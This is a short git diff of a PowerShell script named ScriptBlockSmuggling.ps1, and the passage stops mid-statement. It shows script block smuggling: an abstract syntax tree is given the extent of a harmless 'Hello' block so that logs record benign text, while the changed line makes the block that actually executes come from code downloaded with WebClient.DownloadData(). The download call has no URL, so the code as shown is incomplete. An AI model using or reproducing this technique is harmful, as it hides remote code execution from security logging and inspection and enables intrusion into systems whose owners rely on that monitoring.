diff --git a/ScriptBlockSmuggling.ps1 b/ScriptBlockSmuggling.ps1 index d3155d6..5e9e562 100644 --- a/ScriptBlockSmuggling.ps1 +++ b/ScriptBlockSmuggling.ps1 @@ -1,6 +1,6 @@ $wc=New-Object System.Net.WebClient $SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast -$ExecutedAst = [ScriptBlock]::Create("Write-Output 'World'").Ast +$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData()).Ast $Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent, $null, $null,